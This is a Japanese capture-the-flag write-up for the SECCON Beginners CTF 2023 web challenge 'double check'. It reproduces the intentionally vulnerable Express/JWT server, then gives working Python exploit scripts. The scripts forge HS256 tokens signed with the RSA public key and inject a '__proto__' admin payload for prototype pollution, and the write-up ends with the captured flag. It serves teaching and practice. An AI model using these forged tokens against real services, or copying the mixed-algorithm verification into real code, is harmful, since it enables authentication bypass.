[web] double check (SECCON Beginners CTF 2023) writeup

---

- Source: SECCON Beginners CTF 2023
- Author: [yuasa](https://x.com/melonattacker)

---

`/register`と`/flag`のみが存在するアプリ。sessionとjwtの両方で認証を実装している。

<details><summary>index.js</summary>

```js
const express = require("express");
const session = require("express-session");
const jwt = require("jsonwebtoken");
const _ = require("lodash");

const { readKeyFromFile, generateRandomString, getAdminPassword } = require("./utils");

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

const app = express();
app.use(express.json());

app.use(session({
  secret: generateRandomString(),
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false }
}));

app.post("/register", (req, res) => {
  const { username, password } = req.body;
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;

  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

app.listen(PORT, HOST, () => {
  console.log(`Server is running on port ${PORT}`);
});
```

</details>

`/register`ではRS256でjwtを生成しているが、`/flag`ではRS256の他にHS256での検証も許容している。`public.key`を用いて検証しているため、`public.key`が分かれば任意のpayloadを持つHS256の署名を生成して通すことが可能。
```js
app.post("/register", (req, res) => {

  // 略

  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});
```

```js
app.post("/flag", (req, res) => {

  // 略

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  // 略
});
```

`public.key`が配布されていたのでHS256のjwtを生成して投げてみると、`No flag for you`と表示され、jwtの検証はパスすることができた。ちなみに、新しいバージョンのpyjwtでは公開鍵っぽい値でHS256署名をしようとすると怒られてしまうため、ここではバージョン0.2.0を使用している。
```py
import jwt
import requests

base_url = "http://localhost"
public_key = (略)


def generate_jwt():
  payload = {
      "username": "hoge",
      "password": "fuga",
  }
  token = jwt.encode(payload, public_key, algorithm="HS256")
  print(f"jwt: {token}")
  return token


def solve():
  s = requests.Session()

  data = {
    "username": "hoge",
    "password": "fuga"
  }
  response = s.post(base_url+"/register", json=data)
  if response.status_code != 200:
    print(response.text)
    return

  token = generate_jwt()
  headers = {
      "Authorization": token
  }
  response = s.post(base_url+"/flag", headers=headers)
  print(response.text)


if __name__ == "__main__":
  solve()
```

続いて、`req.user.session.admin`と`verified.admin`をいずれもtrueにするにはどうすれば良いかを考える。jwtのpayloadに`admin`を仕込んでもomitされてしまうが、わざわざその後`Object.assign`しているのが気になる。
```js
  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }
```

`Object.assign`ではプロパティをコピーしているため、`"__proto__": { "admin": true }`などをpayloadに仕込むことでprototype pollutionによってコピー先の`admin`の値を操作できる。

最終的なpayloadはこうなる。
```py
import jwt
import requests

base_url = "http://localhost"

public_key = """-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3NcjHBbKAAhJd6P+TviV
h/WRXtxtKBJLPQYIlmZ/I35WlQLpNXR9Q0YiQLMNW0E3MTHISQlQE5hBF8S2Z2tC
0SmiAMr3QQjaIA3vmefA/CXSp4YjIbKz75Nwzczk7spYiVwEbYoLOpovnl+KB6Tj
XJWCFXvgpL6xYu9Se8msgqVIl+cWANlmPdBuDRvF/7KUboHsdZsn1mL88JoTnk9u
sVp9PP+bpbcFEzwzfS+YkjwUhXFHHNPqsu9eKZZlpkRbl3lZzzxgX4G/bh3BkaCO
wp4Pv1ptk8NJH8N96USDw3Lpgc6wGReoyCBY7Dtg1a3IHNjQQwQg+rd+1yUUfPAe
qa9MbLWr3hYQn+9G4SxTwmWptGJLLjZMzfELtGxiZTHlnifP4nHSNJ8WdGJ63YU9
7LiwkWsE8BVIPi+f/oNIbhhgJzGSD57mkdN0wNloN0I+83/0g2TnVSvkSM5ow/E9
h2w/qaT9LfjtYiZbFFc95lwcaR1nUO/hmZ2okTt7Nh5tlefbvHNSyHMFuvTiEanI
xO2kJIXugy9h9pNAX8jlNHNQWT1WM5HI3t8aMcsucjOT9wTWh7Hl0qxrO4f7f2kP
HODGSRQ/uR9czPYtXP4HPAPUToZ9Xzc5Voj3Q/bzRcAnkKH6fmUOtLPd2XhTDTFl
A5kHBxj92CnlYq6/bQdXDy0CAwEAAQ==
-----END PUBLIC KEY-----
"""


def generate_jwt():
  payload = {
      "__proto__": {
        "admin": True
      }
  }
  token = jwt.encode(payload, public_key, algorithm="HS256")
  print(f"jwt: {token}")
  return token


def solve():
  s = requests.Session()

  data = {
    "username": "hoge",
    "password": "fuga"
  }
  response = s.post(base_url+"/register", json=data)
  if response.status_code != 200:
    print(response.text)
    return

  token = generate_jwt()
  headers = {
      "Authorization": token
  }
  response = s.post(base_url+"/flag", headers=headers)
  print(response.text)


if __name__ == "__main__":
  solve()
```

flagが得られた。
`ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}`